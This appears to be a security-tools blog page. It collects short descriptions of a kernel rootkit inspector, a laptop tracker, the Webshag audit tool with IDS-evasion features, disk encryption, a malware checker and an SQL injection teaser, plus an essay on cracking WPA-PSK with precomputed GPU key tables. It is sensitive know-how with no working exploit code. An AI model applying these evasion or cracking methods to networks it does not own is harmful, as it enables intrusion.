Kernel Detective

Kernel Detective is a free tool that help you detect, analyze, manually modify and fix some Windows NT kernel modifications. Kernel Detective gives you the access to the kernel directly so it's not oriented for newbies. Changing essential kernel-mode objects without enough knowledge will lead you to only one result, BSOD !!

Supported NT versions : XP(sp1-sp2-sp3) - Vista Ultimate build 6000

With Kernel Detective you can:

Enumerate running processes and print important values like Process Id, Parent Process Id, ImageBase, EntryPoint, VirtualSize, PEB block address and EPROCESS block address. Kernel Detective also has special scan methods for detecting hidden processes

Enumerate a specific running processe Dynamic-Link Libraries. Also show every Dll ImageBase, EntryPoint, Size and Path .

Enumerate loaded kernel-mode drivers and show every driver ImageBase, EntryPoint, Size, Name and Path. Also it has special methods for detecting hidden drivers.

Scan the system service table (SSDT) and show every service function address and the real function address. You can restore single service function address or restore the whole table.

Scan the shadow system service table (Shadow SSDT) and show every shadow service function address and the real function address. You can restore single shadow service function address or restore the whole table

Scan the interrupts table (IDT) and show every interrupt handler offset, selector, type, Attributes and real handler offset. This is applied to every processor in a multi-processors machines.

Scan the important system kernel modules, detect the modifications in it's body and analyze it. For now it can detect and restore inline code modifications, EAT and IAT hooks. I'm looking for more other types of hooks next releases of Kernel Detective.

A nice disassembler rely on OllyDbg disasm engine, thanks Oleh Yuschuk for publishing the source code of your nice disasm engine . With it you can disassemble, assemble and hex edit virtual memory of a specific process or even the kernel space memory. Kernel Detective use it's own Read/Write routines from kernel-mode and doesn't rely on any windows API. That make Kernel Detective able to R/W processes VM even if NtReadProcessMemory/NtWriteProcessMemory is hooked, also bypass the hooks on other kernel-mode important routines like KeStackAttachProcess and KeAttachProcess

Show the messages sent by drivers to the kernel debugger just like Dbgview by Mark Russinovich. It's doing this by hooking interrupt 0x2d wich is responsible for outputing debug messages. Hooking interrupts may cause problems on some machines so DebugView is turned off by default, to turn it on you must run Kernel Detective with "-debugv" parameter.

Adeona- Open Source system for tracking the location of your lost or stolen laptop

Adeona is the first Open Source system for tracking the location of your lost or stolen laptop that does not rely on a proprietary, central service. This means that you can install Adeona on your laptop and go â?? there's no need to rely on a single third party. What's more, Adeona addresses a critical privacy goal different from existing commercial offerings. It is privacy-preserving. This means that no one besides the owner (or an agent of the owner's choosing) can use Adeona to track a laptop. Unlike other systems, users of Adeona can rest assured that no one can abuse the system in order to track where they use their laptop.

Adeona is designed to use the Open Source OpenDHT distributed storage service to store location updates sent by a small software client installed on an owner's laptop. The client continually monitors the current location of the laptop, gathering information (such as IP addresses and local network topology) that can be used to identify its current location. The client then uses strong cryptographic mechanisms to not only encrypt the location data, but also ensure that the ciphertexts stored within OpenDHT are anonymous and unlinkable. At the same time, it is easy for an owner to retrieve location information.

Webshag web server audit too

Introduction

Webshag is a multi-threaded, multi-platform web server audit tool. Written in Python, it gathers commonly useful functionalities for web server auditing like website crawling, URL scanning or file fuzzing.

Webshag can be used to scan a web server in HTTP or HTTPS, through a proxy and using HTTP authentication (Basic and Digest). In addition to that it proposes innovative IDS evasion functionalities aimed at making correlation between request more complicated (e.g. use a different random per request HTTP proxy server).

It also provides innovative functionalities like the capability of retrieving the list of domain names hosted on a target machine and file fuzzing using dynamically generated filenames (in addition to common list-based fuzzing).

Webshag URL scanner and file fuzzer are aimed at reducing the number of false positives and thus producing cleaner result sets. For this purpose, webshag implements a web page fingerprinting mechanism resistant to content changes. This fingerprinting mechanism is then used in a false positive removal algorithm specially aimed at dealing with "soft 404" server responses. Webshag provides a full featured and intuitive graphical user interface as well as a text-based command line interface and is available for Linux and Windows platforms, under GPL license.
Requirements
To be fully functional, webshag requires the following elements:

- Python 2.5 or Python 2.6 (NOT compatible with Python 3.0)
- wxPython 2.8.9.0 (or greater) GUI toolkit
- Nmap port scanner (for port scanning module only)
- A valid Live Search AppID (for domain information module only)

Note: to use installer on Windows Vista, please refer to user manual.

DRIVECRYPT - Harddisk encryption tool

Military strong 1344 Bit encryption: DRIVECRYPT securely and easily protects all proprietary data on notebooks and desktop computers 100% of the time without users having to think about security. Any organization, from a small company to a large international firm with thousands of users in the field, can effectively protect business plans, client lists, product specifications, confidential corporate memos, stock information, and much more with this product.

As data is read from the hard disk, DRIVECRYPT automatically decrypts the data before it is loaded into memory. When data is written back to the hard disk, it is automatically re-encrypted. The encryption/ decryption process is completely transparent to the user or any application program -the data is caught "on the fly" as it transfers back and forth between the hard disk and memory. Consequently, users don't need to remember to decrypt or re-encrypt their data, or change the normal operation of the PC. In addition, only individual files are decrypted at any one time, not the whole hard disk.

SanityCheck

This program does a thorough check on your system to look for irregularities which are typically the work of rootkits, viruses and other malware. This software goes to great lengths to check your system for hidden processes, hidden drivers, hidden threads and detects many different types of hooks, hacks and hijacks.


Note that certain irregularities may be the work of antivirus or another security product that you have installed. This is because security software itself often makes use of the same controversial techniques which are normally associated with malware. This is why it is recommended to first disable all antivirus, antispyware, firewall and other security software which may be running on your system.

In case any irregularities are found the report will attempt to find a responsbile process or module and offer suggestions on how to proceed in the investigation.

Note that although this software creates a comprehensible report it is not intended for absolute novice users who do not have not any type of idea about the software that is installed and running on their systems.

SanityCheck will do great efforts to detect:
Hidden processes
Processes with spoofed names
Processes attempting to appear as standard Windows processes
Processes with obviously deceptive names
Processes without product, company and description information
Valid signatures in processes and kernel modules
Intercepted system services and the modules reponsible
Intercepted kernel routines and the modules reponsible
Intercepted kernel object callout routines and the modules reponsible
Hidden drivers
Drivers with intercepted dispatch entry points

Bypass login on vulnerable web site

For those of you who dont already know SQL injection is a technique used to take advantage of non-validated input vulnerabilities to pass SQL commands through a Web application for execution by a backend database. Attackers take advantage of the fact that programmers often chain together SQL commands with user provided parameters, and can therefore embed SQL commands inside these parameters. The result is that the attacker can execute arbitrary SQL queries and commands on the backend database server through the Web application.

A database is a table full of private and public site information such as usernames, products, etc. They are fundamental components of Web applications. Databases enable Web applications to store data, preferences and content elements. Using SQL web applications interact with databases to dynamically build customized data views for each user.

The twilight of Wi-Fi Protected Access

The “Wi-Fi Protected Access” protocol (in it’s revisions WPA and WPA2) is one of today’s most important security related protocols. Wigle.net counts about fifteen million wireless networks worldwide and the numbers keep climbing dramatically. After the catastrophic failure of WEP, the all new and shiny WPA now almost completely took over protecting the public airspace.
WPA was designed with the small-office/home user in focus; while the protocol allows a sophisticated key-exchange to take place, most implementations like DSL/Cable/LAN-routers prefer the “Pre-Shared Key” mode. Exchange of the Pairwise Master Key (we will hear that term a lot) is simplified by using a common password that is known to all communicating parties. Without going into too much detail, here is how the authentication-phase for WPA-PSK works:
  1. The client station (”STA“) wants to connect to a protected Wi-Fi network. The user has typed in a password which the STA uses in conjunction with the network name to compute the Pairwise Master Key. The STA tells the Access Point (AP) that it wants to communicate and the AP starts the authentication-phase by sending a random number, the ANonce, to the STA.
  2. After receiving a ANonce from the AP, the STA itself also picks a random number, the SNonce. It takes the Pairwise Master Key, the ANonce, the SNonce and other elements to compute the Pairwise Transient Key. It then sends the SNonce to the AP within a message that is signed (but not encrypted) by the Pairwise Transient Key.
  3. The AP receives the SNonce from the STA. It knows the password and therefor the Pairwise Master Key and can now also compute the Pairwise Transient Key from the ANonce it picked itself and the SNonce it just received. The AP checks the Integrity Code on the SNonce-message to see if the STA used the correct key to sign that message. If the Integrity Code is correct, the AP can assume that the STA knew the correct Pairwise Master Key. It sends an acknowledgement to the STA that is also signed with the Pairwise Transient Key and includes information for further communication.
  4. The STA receives the acknowledgement and checks the Integrity Code on that message. If it is correct, the STA can assume that the AP knows the correct Pairwise Master Key. Both parties now derived the Pairwise Transient Key and checked their counterpart’s integrity without revealing the password or the Pairwise Master Key over an unsecure channel. They use the Pairwise Transient Key to derive a unique session key and start communicating over a secure channel.
As you may have noticed, everything here depends on the password. The way this works creates some deep concerns:
  • People are stupid. They choose bad passwords all over the place, especially when they are not forced to do otherwise. Even when there are requirements on the password, people tend to trick themselves: MySpace requires for passwords to include at least one digit; a hack of 34.000 user accounts (that got accidentily public) revealed that the by far most common case is a single “1″ appended to a dictionary-word…
  • Everyone in the network uses the same key to create session keys; the chosen password is used to compute the Pairwise Master Key from which the Pairwise Transient Key is derived which leads to the session keys. If a user who knows the password - legally or not - sniffs on other users’ authentication-phase, he may use the Pairwise Master Key to compute the other users’ Pairwise Transient Keys. As from that point the session keys are virtually unprotected, there is in fact no authenticity,  no privacy and no integrity between users of a network protected by WPA-PSK.
    Everyone within the network can fake to be any station, can decrypt every users’ traffic and can forge and inject traffic into other users’ sessions.
  • WPA-PSK is badly implemented. The PBKDF2-algorithm is used to derive the Pairwise Master Key from the password. That’s a good choice and in reality forces us to compute more than 16.000 rounds of SHA-1 to compute the Pairwise Master Key from a given password; this seriously slows down any brute-force attempt. However the computational stress is put solely upon that one Pairwise Master Key. Once it is known, deriving the Pairwise Transient Key is virtually free. However since unique session elements are only used in computing the Pairwise Transient Key, we can pre-compute the toughest part - the Pairwise Master Key - and later on use that data as often as we want.
    More seriously the Pairwise Master Key is derived only from the password and the network’s name. Ruling out the name as a variable, all networks of the same name share the exact same “password to key” function.
  • Having precomputed a set of Pairwise Master Keys, a fail-fast-attack becomes possible. When on-site, it is a matter of minutes to tell if a set of Pairwise Master Keys - which may have taken weeks to compute - includes the correct key. It is extremely valuable to an attacker if he can tell possible and impossible targets apart.
Let’s do some number-crushing. The NIST estimates the guessing entropy of an 8 character password with certain rules to be about 30bit. We can assume that a lot of people somehow got smarter over night and use passwords with a guessing entropy of 32 bit. In order to crack a password of that strength with a chance of at least 50% we need about 3 billion guesses.
At the time WPA/WPA2 was created, then-current x86-hardware was able to  compute less than 100 Pairwise Master Keys per second. In theory it took about two years to crack a password used for WPA-PSK with a chance of at least 50%. Compared to that hardware, Pyrit increases the number of keys we can compute per second by a factor of x100 and therefore reduces the time we need to crack a network with a chance of at least 50% to 2-3 days. But it get’s worse.
In a small scenario we assume to attack 30 (out of hundreds) networks with the following distribution of network names:
  • 17 times “linksys”
  • 7 times “NETGEAR”
  • 3 times “default”
  • 2 times “wlan”
  • Once “WiFI”
Looking at the ESSID toplist at wigle.net we can see this distribution is not unrealistic. Our mission is to crack every network listed above with a chance of at least 50% each within 7 days.
On traditional x86 hardware and in a naive solution we had to compute 3 billionen Pairwise Master Keys for every network on the list which accumulates to 90 billionen guesses; this takes around 28 years to compute or (at 800 US$ a box) about 1.2 million US$ to do within 7 days.
As we’ve seen above, the computational stress to guess a WPA-PSK password is solely put on computing the Pairwise Master Key; we can neglect computing further keys and verifying the decrypted message performance-wise. We’ve also seen that all networks with the same ESSID share the same “password to key” function and that there is no session-unique element in that function. That means we only have to compute a Pairwise Master Key once and can re-use it 16 times at best in our scenario. Overall this reduces the number of keys we have to compute to around 15 billion which we can do on a single GPU in a little more than two weeks.
Given a cost of 1.300 US $ for a box with CUDA-capable hardware and decent storage (15 billion PMKs require about 600gb) this solution costs less than 3.000 US $ to succeed in 7 days. Not only are we about 660 times faster - we are still about 400 times more cost-effective. If we focus on the two most common network names - cracking only 24 out of 30 networks but maximizing the value of the precomputed data - we are more than 1.300 times faster and even 800 times more cost-effective than what was thought of when WPA was designed.
In order to increase the chance to succeed in the above scenario from 50% to 99% a six-fold increase in computational power and cost is required; that is still less than 20.000 US$ (compared to around 8 million US$ on traditional hardware) which is well within the reach of most people - not even speaking of groups, corporations or governments.
Using pre-computed tables of Pairwise Master Keys to create fail-fast-attack on WPA-PSK networks has been shown before, most noticable by the people of coWPAtty. But let me stress this point: The problem is not only raw speed; the problem is how cost-effectivness scales by that. Attacking WPA-PSK with GPGPU-capable hardware puts very little financial requirements to the attacker which leaves us within the twilight of a “can be done” scenario.
